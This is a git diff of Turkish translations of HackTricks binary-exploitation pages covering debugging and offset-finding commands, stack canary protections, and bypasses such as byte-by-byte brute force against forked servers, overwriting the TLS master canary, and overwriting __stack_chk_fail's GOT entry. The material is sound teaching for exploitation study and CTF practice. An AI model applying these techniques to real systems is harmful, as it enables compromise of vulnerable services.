**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'ta değiştirilecek "puts" adresi\
|
||||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır).
|
**objdump -D ./exec | grep "VAR\_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır).
|
||||||
|
|
||||||
## Çekirdek dökümleri
|
## Core dumps
|
||||||
|
|
||||||
1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın
|
1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın
|
||||||
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın
|
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın
|
||||||
3. `sudo gdb --core=\<path/core> --quiet` çalıştırın
|
3. `sudo gdb --core=\<path/core> --quiet`
|
||||||
|
|
||||||
## Daha Fazla
|
## Daha Fazla
|
||||||
|
|
||||||
**ldd executable | grep libc.so.6** --> Adres (ASLR ise, bu her seferinde değişir)\
|
**ldd executable | grep libc.so.6** --> Adres (ASLR varsa, bu her seferinde değişir)\
|
||||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
|
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
|
||||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\
|
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\
|
||||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"nin ofseti
|
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti
|
||||||
|
|
||||||
**strace executable** --> Yürütülebilir dosya tarafından çağrılan fonksiyonlar\
|
**strace executable** --> Yürütülebilir dosya tarafından çağrılan fonksiyonlar\
|
||||||
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
|
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
|
||||||
|
@ -216,7 +226,7 @@ IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak içi
|
||||||
```
|
```
|
||||||
./linux_server64 -Ppass
|
./linux_server64 -Ppass
|
||||||
```
|
```
|
||||||
Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (uzaktan linux) --> İşlem seçenekleri...:
|
Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (linux uzak) --> İşlem seçenekleri...:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (855).png>)
|
![](<../../../.gitbook/assets/image (855).png>)
|
||||||
|
|
||||||
|
@ -230,6 +240,6 @@ HackTricks'i desteklemenin diğer yolları:
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Yığın Kanaryaları
|
# Stack Canaries
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,80 +6,93 @@
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [ABONELİK PLANLARINI](https://github.com/sponsors/carlospolop) kontrol edin!
|
- **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||||
- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
|
- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
|
||||||
- Özel [NFT'lerimizden](https://opensea.io/collection/the-peass-family) oluşan [The PEASS Family](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
- [The PEASS Family](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [NFT'lerimiz](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
- 💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
|
- 💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live)'ı takip edin.
|
||||||
|
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
|
||||||
- **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme hilelerinizi paylaşın.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **StackGuard ve StackShield**
|
## StackGuard ve StackShield
|
||||||
|
|
||||||
**StackGuard**, aşırı taşmaları önlemek için **EIP (Extended Instruction Pointer)**'den önce özel bir değer olan **kanarya** ekler, özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi işlevler hala savunmasızdır ve **EBP (Base Pointer)**'ı korumaz.
|
**StackGuard**, tampon taşmalarına karşı koruma sağlamak için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan **canary** ekler. Özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi işlevler savunmasız kalır ve **EBP (Taban İşaretçisi)**'ni korumaz.
|
||||||
|
|
||||||
**StackShield**, tüm dönüş adreslerini (**EIP'ler**) depolayan bir **Global Return Stack**'e sahip olan StackGuard'dan daha sofistike bir yaklaşım benimser. Bu kurulum, herhangi bir taşmanın zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlanabilir, bu da StackShield'ın yerel değişkenleri de korumadığını gösterir.
|
**StackShield**, tüm dönüş adreslerini (**EIP'ler**) depolayan bir **Global Return Stack**'i koruyarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, taşmaların zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlatılabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir.
|
||||||
|
|
||||||
## **Yığın Saldırı Koruyucusu (ProPolice) `-fstack-protector`:**
|
## Stack Smash Koruyucu (ProPolice) `-fstack-protector`:
|
||||||
|
|
||||||
Bu mekanizma, **EBP**'den önce bir **kanarya** yerleştirir ve yerel değişkenleri yeniden düzenleyerek tamponları daha yüksek bellek adreslerine yerleştirir, böylece diğer değişkenleri üzerine yazmalarını önler. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz.
|
Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve tamponların diğer değişkenleri üzerine yazmasını önlemek için yerel değişkenleri yeniden düzenler, tamponları daha yüksek bellek adreslerine yerleştirir. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz.
|
||||||
|
|
||||||
**Kanarya**, `/dev/urandom`'dan türetilen rastgele bir sayı veya varsayılan bir değer olan `0xff0a0000`'dan gelir. **TLS (Thread Local Storage)**'de depolanır ve bu, iplikler arasında paylaşılan bellek alanlarının iplik özel genel veya statik değişkenlere sahip olmasına izin verir. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, yeni bir kanarya oluşturmadan **`fork()`** kullanılırsa, tüm süreçler (ebeveyn ve çocuklar) aynı kanaryayı paylaşırlar, bu da onları savunmasız hale getirir. **i386** mimarisinde kanarya `gs:0x14`'te, **x86\_64**'te ise `fs:0x28`'de depolanır.
|
**Canary**, `/dev/urandom` kaynaklı rastgele bir sayı veya varsayılan değeri olan `0xff0a0000`'den türetilen rastgele bir sayıdır. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasını sağlar. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, yeni bir canary oluşturmadan **`fork()`** kullanılırsa, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır, bu da onu savunmasız hale getirir. **i386** mimarisinde canary `gs:0x14`'te, **x86\_64**'te ise `fs:0x28`'de saklanır.
|
||||||
|
|
||||||
Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başına kanaryayı yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin başına kod enjekte eder.
|
Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başına canary yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin başına kod enjekte eder.
|
||||||
|
|
||||||
Bir web sunucusu `fork()` kullandığında, kanaryayı bayt bayt tahmin etmek için bir brute-force saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarsanız, saldırıyı geçersiz kılabilirsiniz. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar çoğaltılmadan çalışmasına izin verir, bu da farklı bir işlem oluşturma ve bellek işleme yaklaşımı sunar.
|
Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için kaba kuvvet saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarak saldırıyı etkisiz hale getirebilirsiniz. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar çoğaltma yapmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur ve işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar.
|
||||||
|
|
||||||
### Uzunluklar
|
### Uzunluklar
|
||||||
|
|
||||||
`x64` ikili dosyalarında, kanarya çerezi bir **`0x8`** bayt qword'dür. **İlk yedi bayt rastgele** ve son bayt bir **null bayttır**.
|
`x64` ikili dosyalarında, canary çerezi bir **`0x8`** bayt qword'dür. **İlk yedi bayt rastgele** ve son bayt bir **null bayttır**.
|
||||||
|
|
||||||
`x86` ikili dosyalarında, kanarya çerezi bir **`0x4`** bayt dword'dür. **İlk üç bayt rastgele** ve son bayt bir **null bayttır**.
|
`x86` ikili dosyalarında, canary çerezi bir **`0x4`** bayt dword'dür. **İlk üç bayt rastgele** ve son bayt bir **null bayttır**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Her iki kanaryanın en anlamsız baytı bir null bayttır çünkü daha düşük adreslerden gelen yığından ilk olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**.
|
Her iki canary'nin en anlamlı baytı bir null bayttır çünkü daha düşük adreslerden gelen yığındaki ilk bayt olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Atlatmalar
|
## Atlatmalar
|
||||||
|
|
||||||
**Kanaryayı sızdırmak** ve ardından (örneğin tampon taşması) kendi değeriyle üzerine yazmak.
|
**Canary'yi sızdırmak** ve ardından (örneğin tampon taşması ile) kendi değeriyle üzerine yazmak.
|
||||||
|
|
||||||
* **Kanarya çocuk süreçlerde çoğaltılırsa**, bir bayt biriminde **brute-force** yapmak mümkün olabilir:
|
- **Çocuk süreçlerde canary çatallanırsa**, bir byte'ı bir seferde **kaba kuvvetle** tahmin etmek mümkün olabilir:
|
||||||
|
|
||||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir:
|
- İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir:
|
||||||
|
|
||||||
{% content-ref url="print-stack-canary.md" %}
|
{% content-ref url="print-stack-canary.md" %}
|
||||||
[print-stack-canary.md](print-stack-canary.md)
|
[print-stack-canary.md](print-stack-canary.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Yığında depolanan işaretçileri üzerine yazma**
|
- **Yığına depolanan işaretçileri üzerine yazma**
|
||||||
|
|
||||||
Yığın, yığın taşması için savunmasız olabilir ve bu, yığın kanaryasına ulaşmadan zafiyeti sömürmek için **üzerine yazılabilir**. Kontrol edin:
|
Yığına taşma açığı olan yığın, yığın canary'sine ulaşmadan zafiyeti sömürmek için **üzerine yazılabilecek dize veya işlev adresleri içerebilir**. Kontrol edin:
|
||||||
|
|
||||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Hem ana hem de iplik kanaryasını değiştirme**
|
- **Hem ana hem de iş parçacığı canary'sini değiştirme**
|
||||||
|
|
||||||
Kanaryayla korunan bir iplik işlevinde bir tampon **taşması, iplik kanaryasını değiştirmek** için kullanılabilir. Sonuç olarak, denetim iki aynı kanarya ile yapılır, bu da değiştirilmiş olsa bile korumanın işe yaramaz hale gelir.
|
Canary ile korunan bir iş parçacığında tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz.
|
||||||
|
|
||||||
Bu saldırı, şu yazıda gerçekleştirilir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
Ayrıca, canary ile korunan bir işlevde tampon taşması, TLS'de saklanan ana canary'yi değiştirmek için kullanılabilir. Bu, iş parçacığının yığınında bir taşma aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz. Bu saldırı, [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) yazısında gerçekleştirilir.
|
||||||
|
|
||||||
* `__stack_chk_fail`'in **GOT girişini değiştirme**
|
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından saklandığını ve bir **iş parçacığının yığını** oluşturulduğunda bunun da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
|
||||||
|
|
||||||
Eğer ikili dosyada Partial RELRO varsa, o zaman **GOT girişini `__stack_chk_fail`'in** bir programı engellemeyen sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz.
|
- **`__stack_chk_fail`'in GOT girişini değiştirme**
|
||||||
|
|
||||||
Bu saldırı, şu yazıda gerçekleştirilir: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
İkili dosyanın Kısmi RELRO'ya sahip olması durumunda, **GOT girişini `__stack_chk_fail`'in** bir programı engellemediği sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz.
|
||||||
|
|
||||||
|
Bu saldırı, [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) yazısında gerçekleştirilir.
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
- [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||||
* **Hacking hilelerinizi paylaşarak PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.**
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||||
|
|
||||||
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
|
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||||
|
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||||
|
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
|
||||||
|
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -4,34 +4,34 @@
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile AWS hacklemeyi sıfırdan ileri seviyeye öğrenin!</summary>
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile AWS hacklemeyi sıfırdan ileri seviyeye öğrenin!</summary>
|
||||||
|
|
||||||
HackTricks'i desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
- Şirketinizin **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
- Şirketinizin **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||||
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||||
- **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
- **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Eğer bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir binary ile karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
|
**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) tarafından korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (862).png>)
|
![](<../../../.gitbook/assets/image (862).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**`checksec`**'in bir binary'nin bir canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
|
**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
|
||||||
Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.
|
Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Brute force Canary
|
## Brute force Canary
|
||||||
|
|
||||||
Basit bir canary'yi atlatmanın en iyi yolu, binary'nin (ağ hizmeti) **her yeni bağlantı kurduğunuzda çocuk işlemleri çatallandıran bir program** olduğu durumdur, çünkü her bağlandığınızda **aynı canary kullanılacaktır**.
|
Basit bir canary'yi atlatmanın en iyi yolu, ikilinin **her yeni bağlantı kurduğunuzda (ağ hizmeti) çocuk işlemi çatallandırması** olduğunda, çünkü ona her bağlandığınızda **aynı canary kullanılacaktır**.
|
||||||
|
|
||||||
Bu durumda, canary'yi atlatmanın en iyi yolu, canary'yi **her karakteri deneyerek brute-force etmek** ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürdüğünü kontrol etmektir. Bu örnekte, **8 Bayt canary (x64)** brute-force eden bir fonksiyon bulunmakta ve doğru tahmin edilen bayt ile yanlış baytı sadece **sunucudan bir yanıt** alınıp alınmadığını kontrol ederek ayırt eder (diğer durumlarda **try/except** kullanılabilir):
|
Bu durumda, canary'yi atlatmanın en iyi yolu, sadece **her karakteri brute-force etmek** ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürüp sürdürmediğini kontrol etmektir. Bu örnekte, işlev **(x64 için) 8 Bayt canary'yi brute-force eder** ve doğru tahmin edilen baytı bir yanıtın sunucu tarafından gönderilip gönderilmediğini kontrol ederek ayırt eder (diğer durumlarda başka bir yol, bir **try/except** kullanmaktır):
|
||||||
|
|
||||||
### Örnek 1
|
### Örnek 1
|
||||||
|
|
||||||
Bu örnek 64 bit için uygulanmıştır ancak 32 bit için kolayca uygulanabilir.
|
Bu örnek 64 bitler için uygulanmıştır ancak 32 bitler için kolayca uygulanabilir.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -116,12 +116,15 @@ log.info(f"The canary is: {canary}")
|
||||||
```
|
```
|
||||||
## İş Parçacıkları
|
## İş Parçacıkları
|
||||||
|
|
||||||
Aynı işlemdeki iş parçacıkları aynı **canary belirteciyi paylaşacak**, bu nedenle saldırı gerçekleştiğinde her seferinde yeni bir iş parçacığı oluşturan ikili bir canary'yi **kaba kuvvet** ile çözmek mümkün olacaktır. 
|
Aynı işlemdeki iş parçacıkları da **aynı canary belirteciyi paylaşacak**, bu nedenle bir saldırı gerçekleştiğinde ikili her seferinde yeni bir iş parçacığı oluşturursa bir canary'yi **kaba kuvvet** yöntemiyle elde etmek mümkün olacaktır. 
|
||||||
|
|
||||||
Ayrıca, bir canary ile korunan iş parçacığı işlevindeki bir tampon **taşması**, iş parçacığının ana canary'sini **değiştirmek** için kullanılabilir. Sonuç olarak, denetim, iki aynı olan (ancak değiştirilmiş) iki canary ile kullanıldığından dolayı işe yaramaz hale gelir.\
|
Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir**. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için (ve dolayısıyla, canary) mümkün olabilir.\
|
||||||
Bu saldırı, şu yazıda gerçekleştirilmiştir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
Sonuç olarak, önlem, değiştirilmiş olsa da aynı olan iki canary ile kullanılan kontrol nedeniyle işe yaramaz hale gelir.\
|
||||||
|
Bu saldırı, şu yazıda gerçekleştirilir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
|
|
||||||
|
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından depolandığını ve bir **iş parçacığının yığınının** oluşturulduğunda da buna göre `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
|
||||||
|
|
||||||
## Diğer örnekler ve referanslar
|
## Diğer örnekler ve referanslar
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||||
